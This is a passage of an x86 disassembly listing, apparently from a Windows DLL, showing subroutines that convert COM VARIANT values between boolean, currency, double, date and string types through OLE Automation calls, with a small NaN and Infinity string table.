; ---------------------------------------------------------------------------
loc_69B64909: ; CODE XREF: sub_69B648DC+1Ej
test edx, edx
mov esi, [ebp+arg_4]
jnz short loc_69B64912
mov edx, [esi]
loc_69B64912: ; CODE XREF: sub_69B648DC+32j
push edi
mov edi, [eax]
lea ecx, [ebp+var_10]
push ecx
push dword_69B99D00[edx*4]
mov ecx, eax
call dword ptr [edi+54h]
mov eax, [esi]
push [ebp+arg_C]
imul eax, 7
add eax, [ebp+var_10]
lea ecx, [ebp+var_10]
push ecx
push esi
push [ebp+arg_0]
call off_69B99D20[eax*4]
mov esi, eax
pop edi
loc_69B64942: ; CODE XREF: sub_69B648DC+2Bj
lea ecx, [ebp+var_10]
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 10h
sub_69B648DC endp
; =============== S U B R O U T I N E =======================================
sub_69B64951 proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B642AB+97p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov esi, [esp+4+arg_C]
push esi
push [esp+8+arg_4]
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_69B648DC
neg dword ptr [esi]
pop esi
retn 10h
sub_69B64951 endp
; =============== S U B R O U T I N E =======================================
sub_69B6496E proc near ; CODE XREF: sub_69B642AB+97p
; sub_69B644A4+35p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov ecx, [esp+arg_8]
push dword ptr [ecx+8]
mov eax, [esp+4+arg_4]
mov eax, [eax+8]
push eax
push [esp+8+arg_0]
call sub_69B64274
mov ecx, [esp+arg_C]
mov [ecx], eax
xor ecx, ecx
cmp eax, 0FFFFFFFEh
setnle cl
mov eax, ecx
retn 10h
sub_69B6496E endp
; =============== S U B R O U T I N E =======================================
sub_69B64999 proc near ; CODE XREF: sub_69B64C44+Ep
; sub_69B654B0+8p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp esi, edi
jz short loc_69B64A0F
call sub_69B466CC
mov eax, [edi]
dec eax
jz short loc_69B64A03
dec eax
jz short loc_69B649EF
dec eax
jz short loc_69B649E1
dec eax
jz short loc_69B649D6
dec eax
jz short loc_69B649CA
dec eax
jnz short loc_69B64A0F
push dword ptr [edi+8]
mov ecx, esi
call sub_69B64115
jmp short loc_69B64A0F
; ---------------------------------------------------------------------------
loc_69B649CA: ; CODE XREF: sub_69B64999+20j
push dword ptr [edi+8]
mov ecx, esi
call sub_69B48684
jmp short loc_69B64A0F
; ---------------------------------------------------------------------------
loc_69B649D6: ; CODE XREF: sub_69B64999+1Dj
fld qword ptr [edi+8]
mov dword ptr [esi], 4
jmp short loc_69B649EA
; ---------------------------------------------------------------------------
loc_69B649E1: ; CODE XREF: sub_69B64999+1Aj
fld qword ptr [edi+8]
mov dword ptr [esi], 3
loc_69B649EA: ; CODE XREF: sub_69B64999+46j
fstp qword ptr [esi+8]
jmp short loc_69B64A0F
; ---------------------------------------------------------------------------
loc_69B649EF: ; CODE XREF: sub_69B64999+17j
mov eax, [edi+8]
mov edi, [edi+0Ch]
mov dword ptr [esi], 2
mov [esi+8], eax
mov [esi+0Ch], edi
jmp short loc_69B64A0F
; ---------------------------------------------------------------------------
loc_69B64A03: ; CODE XREF: sub_69B64999+14j
mov al, [edi+8]
mov dword ptr [esi], 1
mov [esi+8], al
loc_69B64A0F: ; CODE XREF: sub_69B64999+Aj
; sub_69B64999+23j ...
pop edi
pop esi
retn 4
sub_69B64999 endp
; =============== S U B R O U T I N E =======================================
sub_69B64A14 proc near ; CODE XREF: sub_69B46F1C+59p
; sub_69B71074+1A6p
push 4Ch
push offset dword_69B64C38
call sub_69B19C5C
mov esi, ecx
and dword ptr [ebp-1Ch], 0
mov ebx, [ebp+8]
xor edi, edi
mov di, [ebx]
and edi, 0BFFFh
and dword ptr [ebp-20h], 0
lea eax, [ebp-30h]
push eax ; pvarg
call VariantInit
cmp di, 0Ch
jnz short loc_69B64A4E
mov eax, [ebx+8]
mov di, [eax]
loc_69B64A4E: ; CODE XREF: sub_69B64A14+32j
cmp di, 17h
ja short loc_69B64A64
movzx eax, word ptr [ebx]
movzx eax, word_69B9A0B0[eax*2]
mov [ebp-34h], eax
jmp short loc_69B64A6B
; ---------------------------------------------------------------------------
loc_69B64A64: ; CODE XREF: sub_69B64A14+3Ej
and dword ptr [ebp-34h], 0
mov eax, [ebp-34h]
loc_69B64A6B: ; CODE XREF: sub_69B64A14+4Ej
test ax, ax
jnz short loc_69B64A7C
mov dword ptr [ebp-1Ch], 80020005h
jmp loc_69B64BEB
; ---------------------------------------------------------------------------
loc_69B64A7C: ; CODE XREF: sub_69B64A14+5Aj
cmp [ebx], ax
jz short loc_69B64AA4
push eax ; vt
push 1 ; wFlags
push 409h ; lcid
push ebx ; pvarSrc
lea eax, [ebp-30h]
push eax ; pvargDest
call VariantChangeTypeEx
mov [ebp-1Ch], eax
test eax, eax
jl loc_69B64BEB
lea edi, [ebp-30h]
jmp short loc_69B64AA6
; ---------------------------------------------------------------------------
loc_69B64AA4: ; CODE XREF: sub_69B64A14+6Bj
mov edi, ebx
loc_69B64AA6: ; CODE XREF: sub_69B64A14+8Ej
wait
xor ebx, ebx
mov [ebp-4], ebx
movzx eax, word ptr [ebp-34h]
sub eax, 5
jz loc_69B64BBA
dec eax
jz loc_69B64BA0
dec eax
jz loc_69B64B92
dec eax
jz loc_69B64B76
dec eax
jz short loc_69B64ADD
dec eax
dec eax
jz short loc_69B64B27
dec eax
dec eax
jnz loc_69B64BC9
loc_69B64ADD: ; CODE XREF: sub_69B64A14+BBj
mov edi, [edi+8]
mov [ebp-3Ch], edi
cmp edi, ebx
jz loc_69B64B6D
mov eax, [edi]
lea ecx, [ebp-20h]
push ecx
push offset dword_69B64C28
push edi
call dword ptr [eax]
mov [ebp-1Ch], eax
cmp eax, ebx
jl short loc_69B64B40
mov ecx, [ebp-20h]
mov eax, [ecx]
call dword ptr [eax+0Ch]
mov [ebp-40h], eax
cmp eax, ebx
jz short loc_69B64B40
mov edx, [eax]
push ebx
mov ecx, eax
call dword ptr [edx+7Ch]
mov [ebp-40h], eax
push eax
mov ecx, esi
call sub_69B64115
jmp loc_69B64BC9
; ---------------------------------------------------------------------------
loc_69B64B27: ; CODE XREF: sub_69B64A14+BFj
cmp word ptr [edi+8], 0FFFFh
setz al
mov [ebp-38h], al
mov dword ptr [esi], 1
mov [esi+8], al
jmp loc_69B64BC9
; ---------------------------------------------------------------------------
loc_69B64B40: ; CODE XREF: sub_69B64A14+EAj
; sub_69B64A14+F9j
push edi
call sub_69B48A77
mov [ebp-44h], eax
cmp eax, ebx
jz short loc_69B64B6D
push 1
push eax
call sub_69B67D20
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
mov ecx, esi
call sub_69B64115
mov [ebp-1Ch], ebx
jmp short loc_69B64BC9
; ---------------------------------------------------------------------------
loc_69B64B6D: ; CODE XREF: sub_69B64A14+D1j
; sub_69B64A14+137j
mov dword ptr [ebp-1Ch], 80020005h
jmp short loc_69B64BC9
; ---------------------------------------------------------------------------
loc_69B64B76: ; CODE XREF: sub_69B64A14+B4j
push dword ptr [edi+8] ; BSTR
call SysStringLen
push eax
push dword ptr [edi+8]
call sub_69B190C1
push eax
mov ecx, esi
call sub_69B48684
jmp short loc_69B64BC9
; ---------------------------------------------------------------------------
loc_69B64B92: ; CODE XREF: sub_69B64A14+ADj
fld qword ptr [edi+8]
fst qword ptr [ebp-4Ch]
mov dword ptr [esi], 4
jmp short loc_69B64BC6
; ---------------------------------------------------------------------------
loc_69B64BA0: ; CODE XREF: sub_69B64A14+A6j
mov eax, [edi+8]
mov [ebp-54h], eax
mov edi, [edi+0Ch]
mov [ebp-50h], edi
mov dword ptr [esi], 2
mov [esi+8], eax
mov [esi+0Ch], edi
jmp short loc_69B64BC9
; ---------------------------------------------------------------------------
loc_69B64BBA: ; CODE XREF: sub_69B64A14+9Fj
fld qword ptr [edi+8]
fst qword ptr [ebp-5Ch]
mov dword ptr [esi], 3
loc_69B64BC6: ; CODE XREF: sub_69B64A14+18Aj
fstp qword ptr [esi+8]
loc_69B64BC9: ; CODE XREF: sub_69B64A14+C3j
; sub_69B64A14+10Ej ...
wait
jmp short loc_69B64BE7
; ---------------------------------------------------------------------------
loc_69B64BCC: ; DATA XREF: .text:69B64C3Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B64BD5: ; DATA XREF: .text:69B64C40o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov [ebp-1Ch], eax
loc_69B64BE7: ; CODE XREF: sub_69B64A14+1B6j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B64BEB: ; CODE XREF: sub_69B64A14+63j
; sub_69B64A14+85j
lea eax, [ebp-30h]
push eax ; pvarg
call VariantClear
mov eax, [ebp-20h]
test eax, eax
jz short loc_69B64C02
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B64C02: ; CODE XREF: sub_69B64A14+1E6j
cmp dword ptr [ebp-1Ch], 0
jge short loc_69B64C1D
cmp dword ptr [ebp-1Ch], 80020005h
jnz short loc_69B64C15
xor al, al
jmp short loc_69B64C1F
; ---------------------------------------------------------------------------
loc_69B64C15: ; CODE XREF: sub_69B64A14+1FBj
push dword ptr [ebp-1Ch]
call sub_69B2E8B8
loc_69B64C1D: ; CODE XREF: sub_69B64A14+1F2j
mov al, 1
loc_69B64C1F: ; CODE XREF: sub_69B64A14+1FFj
call sub_69B1853C
retn 4
sub_69B64A14 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B64C28 dd 0C94AFC70h, 11D37C36h, 0C0006295h, 58215C4Fh
; DATA XREF: sub_69B64A14+DDo
dword_69B64C38 dd 0FFFFFFFFh dd offset loc_69B64BCC
dd offset loc_69B64BD5
; =============== S U B R O U T I N E =======================================
sub_69B64C44 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
cmp [esp+arg_0], ecx
jz short locret_69B64C57
push [esp+arg_0]
call sub_69B64999
locret_69B64C57: ; CODE XREF: sub_69B64C44+8j
retn 8
sub_69B64C44 endp
; =============== S U B R O U T I N E =======================================
sub_69B64C5A proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
call sub_69B466CC
mov ecx, [esp+arg_4]
push offset off_69B1A5AC
call sub_69B48684
retn 8
sub_69B64C5A endp
; =============== S U B R O U T I N E =======================================
sub_69B64C74 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov al, [eax+8]
neg al
push ebx
push esi
mov esi, [esp+8+arg_4]
push edi
mov ecx, esi
sbb eax, eax
cdq
mov edi, eax
mov ebx, edx
call sub_69B466CC
mov [esi+8], edi
pop edi
mov [esi+0Ch], ebx
mov dword ptr [esi], 2
pop esi
pop ebx
retn 8
sub_69B64C74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64CA4 proc near ; CODE XREF: sub_69B64008+15p
; DATA XREF: .data:69B99F08o
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
mov al, [eax+8]
neg al
push esi
mov esi, [ebp+arg_4]
mov ecx, esi
sbb eax, eax
mov [ebp+arg_0], eax
fild [ebp+arg_0]
fstp [ebp+var_8]
call sub_69B466CC
fld [ebp+var_8]
mov dword ptr [esi], 3
fstp qword ptr [esi+8]
pop esi
leave
retn 8
sub_69B64CA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64CD8 proc near ; CODE XREF: sub_69B64008+23p
; sub_69B642AB+47p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, [ebp+arg_0]
xor eax, eax
cmp [ecx+8], al
push esi
mov esi, [ebp+arg_4]
setnz al
mov ecx, esi
mov [ebp+arg_0], eax
fild [ebp+arg_0]
fstp [ebp+var_8]
call sub_69B466CC
fld [ebp+var_8]
mov dword ptr [esi], 3
fstp qword ptr [esi+8]
pop esi
leave
retn 8
sub_69B64CD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64D0D proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
pdateOut = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp+pdateOut]
push eax ; pdateOut
mov eax, [ebp+arg_0]
mov al, [eax+8]
neg al
sbb eax, eax
push eax ; boolIn
call VarDateFromBool
mov esi, [ebp+arg_4]
mov ecx, esi
call sub_69B466CC
fld [ebp+pdateOut]
fstp qword ptr [esi+8]
mov dword ptr [esi], 4
pop esi
leave
retn 8
sub_69B64D0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64D43 proc near ; CODE XREF: sub_69B64008+15p
; DATA XREF: .data:69B99F40o
var_10 = word ptr -10h
var_8 = word ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
mov al, [eax+8]
neg al
push 0Eh
mov [ebp+var_10], 0Bh
sbb eax, eax
mov [ebp+var_8], ax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_69B30E5D
push eax
call sub_69B8861E
mov ecx, [ebp+arg_4]
call sub_69B466CC
push [ebp+arg_0]
mov ecx, [ebp+arg_4]
call sub_69B48684
leave
retn 8
sub_69B64D43 endp
; =============== S U B R O U T I N E =======================================
sub_69B64D89 proc near ; CODE XREF: sub_69B64008+23p
; sub_69B642AB+47p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp byte ptr [eax+8], 0
push esi
mov esi, offset off_69B296C4
jnz short loc_69B64D9E
mov esi, offset off_69B296E0
loc_69B64D9E: ; CODE XREF: sub_69B64D89+Ej
mov ecx, [esp+4+arg_4]
call sub_69B466CC
mov ecx, [esp+4+arg_4]
push esi
call sub_69B48684
pop esi
retn 8
sub_69B64D89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64DB5 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
pboolOut = word ptr 0Ah
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
lea eax, [ebp+pboolOut]
push eax ; pboolOut
mov eax, [ebp+8]
push dword ptr [eax+0Ch]
push dword ptr [eax+8] ; cyIn
call VarBoolFromCy
mov esi, [ebp+arg_4]
mov ecx, esi
call sub_69B466CC
cmp [ebp+pboolOut], 0
mov dword ptr [esi], 1
setnz al
mov [esi+8], al
pop esi
pop ebp
retn 8
sub_69B64DB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64DEC proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
pdblOut = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp+pdblOut]
push eax ; pdblOut
mov eax, [ebp+arg_0]
push dword ptr [eax+0Ch]
push dword ptr [eax+8] ; cyIn
call VarR8FromCy
mov esi, [ebp+arg_4]
mov ecx, esi
call sub_69B466CC
fld [ebp+pdblOut]
fstp qword ptr [esi+8]
mov dword ptr [esi], 3
pop esi
leave
retn 8
sub_69B64DEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64E20 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
pdateOut = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp+pdateOut]
push eax ; pdateOut
mov eax, [ebp+arg_0]
push dword ptr [eax+0Ch]
push dword ptr [eax+8] ; cyIn
call VarDateFromCy
mov esi, [ebp+arg_4]
mov ecx, esi
mov edi, eax
call sub_69B466CC
cmp edi, 8002000Ah
jz short loc_69B64E60
push edi
call sub_69B8861E
fld [ebp+pdateOut]
fstp qword ptr [esi+8]
mov dword ptr [esi], 4
loc_69B64E60: ; CODE XREF: sub_69B64E20+2Cj
pop edi
pop esi
leave
retn 8
sub_69B64E20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B64E66(BSTR pbstrOut, int)
sub_69B64E66 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
pbstrOut = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
lea eax, [ebp+pbstrOut]
push eax ; pbstrOut
mov eax, [ebp+pbstrOut]
push 0 ; dwFlags
push 409h ; lcid
push dword ptr [eax+0Ch]
push dword ptr [eax+8] ; cyIn
call VarBstrFromCy
push eax
call sub_69B8861E
mov ecx, [ebp+arg_4]
call sub_69B466CC
push [ebp+pbstrOut]
call sub_69B64036
mov ecx, [ebp+arg_4]
push eax
call sub_69B48684
pop ebp
retn 8
sub_69B64E66 endp
; =============== S U B R O U T I N E =======================================
sub_69B64EA6 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
var_10 = qword ptr -10h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
fld qword ptr [esi+8]
push ecx
push ecx ; double
fstp [esp+10h+var_10]
call sub_69B84BCE
cmp eax, 1
pop ecx
pop ecx
jz short loc_69B64ED5
cmp eax, 2
jz short loc_69B64ED5
fldz
fcomp qword ptr [esi+8]
fnstsw ax
test ah, 44h
jnp short loc_69B64ED5
mov bl, 1
jmp short loc_69B64ED7
; ---------------------------------------------------------------------------
loc_69B64ED5: ; CODE XREF: sub_69B64EA6+18j
; sub_69B64EA6+1Dj ...
xor bl, bl
loc_69B64ED7: ; CODE XREF: sub_69B64EA6+2Dj
mov esi, [esp+8+arg_4]
mov ecx, esi
call sub_69B466CC
mov [esi+8], bl
mov dword ptr [esi], 1
pop esi
pop ebx
retn 8
sub_69B64EA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64EF0 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
var_1C = qword ptr -1Ch
pcyOut = CY ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp+pcyOut]
push eax ; pcyOut
mov eax, [ebp+arg_0]
fld qword ptr [eax+8]
push ecx
push ecx ; dblIn
fstp [esp+1Ch+var_1C]
call VarCyFromR8
mov esi, [ebp+arg_4]
mov ecx, esi
mov edi, eax
call sub_69B466CC
cmp edi, 8002000Ah
jz short loc_69B64F38
push edi
call sub_69B8861E
mov eax, dword ptr [ebp+pcyOut]
mov [esi+8], eax
mov eax, dword ptr [ebp+pcyOut+4]
mov dword ptr [esi], 2
mov [esi+0Ch], eax
loc_69B64F38: ; CODE XREF: sub_69B64EF0+2Ej
pop edi
pop esi
leave
retn 8
sub_69B64EF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64F3E proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
var_1C = qword ptr -1Ch
pdateOut = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp+pdateOut]
push eax ; pdateOut
mov eax, [ebp+arg_0]
fld qword ptr [eax+8]
push ecx
push ecx ; dblIn
fstp [esp+1Ch+var_1C]
call VarDateFromR8
mov esi, [ebp+arg_4]
mov ecx, esi
mov edi, eax
call sub_69B466CC
cmp edi, 8002000Ah
jz short loc_69B64F80
push edi
call sub_69B8861E
fld [ebp+pdateOut]
fstp qword ptr [esi+8]
mov dword ptr [esi], 4
loc_69B64F80: ; CODE XREF: sub_69B64F3E+2Ej
pop edi
pop esi
leave
retn 8
sub_69B64F3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B64F86(BSTR pbstrOut, int)
sub_69B64F86 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
var_20 = qword ptr -20h
var_14 = qword ptr -14h
var_8 = qword ptr -8
pbstrOut = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+pbstrOut]
fld qword ptr [eax+8]
push esi
mov esi, [ebp+arg_4]
fstp [ebp+var_8]
mov ecx, esi
call sub_69B466CC
fld [ebp+var_8]
push ecx
push ecx ; double
fstp [esp+14h+var_14]
call sub_69B84BCE
cmp eax, 1
pop ecx
pop ecx
jz short loc_69B64FFC
cmp eax, 2
jz short loc_69B64FFC
cmp eax, 4
jnz short loc_69B64FC4
push offset off_69B65030
jmp short loc_69B65001
; ---------------------------------------------------------------------------
loc_69B64FC4: ; CODE XREF: sub_69B64F86+35j
cmp eax, 200h
jnz short loc_69B64FD2
push offset off_69B65020
jmp short loc_69B65001
; ---------------------------------------------------------------------------
loc_69B64FD2: ; CODE XREF: sub_69B64F86+43j
fld [ebp+var_8]
lea eax, [ebp+pbstrOut]
push eax ; pbstrOut
push 0 ; dwFlags
push 409h ; lcid
push ecx
push ecx ; dblIn
fstp [esp+20h+var_20]
call VarBstrFromR8
push eax
call sub_69B8861E
push [ebp+pbstrOut]
call sub_69B64036
push eax
jmp short loc_69B65001
; ---------------------------------------------------------------------------
loc_69B64FFC: ; CODE XREF: sub_69B64F86+2Bj
; sub_69B64F86+30j
push offset off_69B65010
loc_69B65001: ; CODE XREF: sub_69B64F86+3Cj
; sub_69B64F86+4Aj ...
mov ecx, esi
call sub_69B48684
pop esi
leave
retn 8
sub_69B64F86 endp
; ---------------------------------------------------------------------------
align 10h
off_69B65010 dd offset off_69B17D10 ; DATA XREF: sub_69B64F86:loc_69B64FFCo
align 8
dd 3
dd offset aNan ; "NaN"
off_69B65020 dd offset off_69B17D10 ; DATA XREF: sub_69B64F86+45o
align 8
dd 8
dd offset aInfinity ; "Infinity"
off_69B65030 dd offset off_69B17D10 ; DATA XREF: sub_69B64F86+37o
align 8
dd 9
dd offset aInfinity_0 ; "-Infinity"
aNan: ; DATA XREF: .text:69B6501Co
unicode 0, <NaN>,0
aInfinity: ; DATA XREF: .text:69B6502Co
unicode 0, <Infinity>,0
align 4
aInfinity_0: ; DATA XREF: .text:69B6503Co
unicode 0, <-Infinity>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B65070 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
var_10 = qword ptr -10h
pboolOut = word ptr 0Ah
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
lea eax, [ebp+pboolOut]
push eax ; pboolOut
mov eax, [ebp+8]
fld qword ptr [eax+8]
push ecx
push ecx ; dateIn
fstp [esp+10h+var_10]
call VarBoolFromDate
mov esi, [ebp+arg_4]
mov ecx, esi
call sub_69B466CC
cmp [ebp+pboolOut], 0
mov dword ptr [esi], 1
setnz al
mov [esi+8], al
pop esi
pop ebp
retn 8
sub_69B65070 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B650A9 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
var_18 = qword ptr -18h
pcyOut = CY ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp+pcyOut]
push eax ; pcyOut
mov eax, [ebp+arg_0]
fld qword ptr [eax+8]
push ecx
push ecx ; dateIn
fstp [esp+18h+var_18]
call VarCyFromDate
mov esi, [ebp+arg_4]
mov ecx, esi
call sub_69B466CC
mov eax, dword ptr [ebp+pcyOut]
mov [esi+8], eax
mov eax, dword ptr [ebp+pcyOut+4]
mov dword ptr [esi], 2
mov [esi+0Ch], eax
pop esi
leave
retn 8
sub_69B650A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B650E5 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
var_18 = qword ptr -18h
pdblOut = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp+pdblOut]
push eax ; pdblOut
mov eax, [ebp+arg_0]
fld qword ptr [eax+8]
push ecx
push ecx ; dateIn
fstp [esp+18h+var_18]
call VarR8FromDate
mov esi, [ebp+arg_4]
mov ecx, esi
call sub_69B466CC
fld [ebp+pdblOut]
fstp qword ptr [esi+8]
mov dword ptr [esi], 3
pop esi
leave
retn 8
sub_69B650E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6511B proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and [ebp+var_4], 0
add eax, 8
push eax
push 12h
lea eax, [ebp+var_4]
push eax
call sub_69B304F3
push eax
call sub_69B8861E
mov ecx, [ebp+arg_4]
call sub_69B466CC
push [ebp+var_4]
mov ecx, [ebp+arg_4]
call sub_69B48684
leave
retn 8
sub_69B6511B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B65152 proc near ; CODE XREF: sub_69B64008+15p
; DATA XREF: .data:69B99EE0o
pvar = VARIANTARG ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
mov eax, [eax+8]
and word ptr [ebp+pvar.anonymous_0], 0
mov ecx, [eax+8]
mov eax, [eax+0Ch]
push ebx
push edi
push 0 ; int
push 0 ; int
lea edx, [ebp+pvar]
push edx ; pvar
push 0FFFFFFFFh ; int
push 0FFFFFFFFh ; int
push 0Eh ; int
push ecx ; cElements
push eax ; int
call sub_69B30C4F
mov edi, [ebp+arg_4]
mov ecx, edi
mov ebx, eax
call sub_69B466CC
test ebx, ebx
jl short loc_69B651A1
cmp word ptr [ebp+pvar.anonymous_0+8], 0
mov dword ptr [edi], 1
setnz al
mov [edi+8], al
loc_69B651A1: ; CODE XREF: sub_69B65152+3Cj
pop edi
pop ebx
leave
retn 8
sub_69B65152 endp
; =============== S U B R O U T I N E =======================================
sub_69B651A7 proc near ; CODE XREF: sub_69B64008+23p
; sub_69B6453E+21p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+8]
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, [eax+8]
mov ecx, esi
call sub_69B466CC
test edi, edi
setnz al
pop edi
mov dword ptr [esi], 1
mov [esi+8], al
pop esi
retn 8
sub_69B651A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B651D1 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
pvar = VARIANTARG ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
mov eax, [eax+8]
and word ptr [ebp+pvar.anonymous_0], 0
mov ecx, [eax+8]
mov eax, [eax+0Ch]
push ebx
push edi
push 0 ; int
push 0 ; int
lea edx, [ebp+pvar]
push edx ; pvar
push 0FFFFFFFFh ; int
push 0FFFFFFFFh ; int
push 13h ; int
push ecx ; cElements
push eax ; strIn
call sub_69B30856
mov edi, [ebp+arg_4]
mov ecx, edi
mov ebx, eax
call sub_69B466CC
test ebx, ebx
jl short loc_69B65221
mov eax, dword ptr [ebp+pvar.anonymous_0+8]
mov [edi+8], eax
mov eax, dword ptr [ebp+pvar.anonymous_0+0Ch]
mov dword ptr [edi], 2
mov [edi+0Ch], eax
loc_69B65221: ; CODE XREF: sub_69B651D1+3Cj
pop edi
pop ebx
leave
retn 8
sub_69B651D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B65227 proc near ; CODE XREF: sub_69B64008+15p
; sub_69B64008+23p ...
pvar = VARIANTARG ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
mov eax, [eax+8]
and word ptr [ebp+pvar.anonymous_0], 0
mov ecx, [eax+8]
mov eax, [eax+0Ch]
push ebx
push edi
push 0 ; int
push 0 ; int
lea edx, [ebp+pvar]
push edx ; pvar
push 0FFFFFFFFh ; int
push 0FFFFFFFFh ; int
push 1Eh ; int
push ecx ; cElements
push eax ; strIn
call sub_69B30856
mov edi, [ebp+arg_4]
mov ecx, edi
mov ebx, eax
call sub_69B466CC
test ebx, ebx
jge short loc_69B6526C
call sub_69B64094
jmp short loc_69B6526F
; ---------------------------------------------------------------------------
loc_69B6526C: ; CODE XREF: sub_69B65227+3Cj
fld qword ptr [ebp+pvar.anonymous_0+8]
loc_69B6526F: ; CODE XREF: sub_69B65227+43j
fstp qword ptr [edi+8]
mov dword ptr [edi], 3
pop edi
pop ebx
leave
retn 8
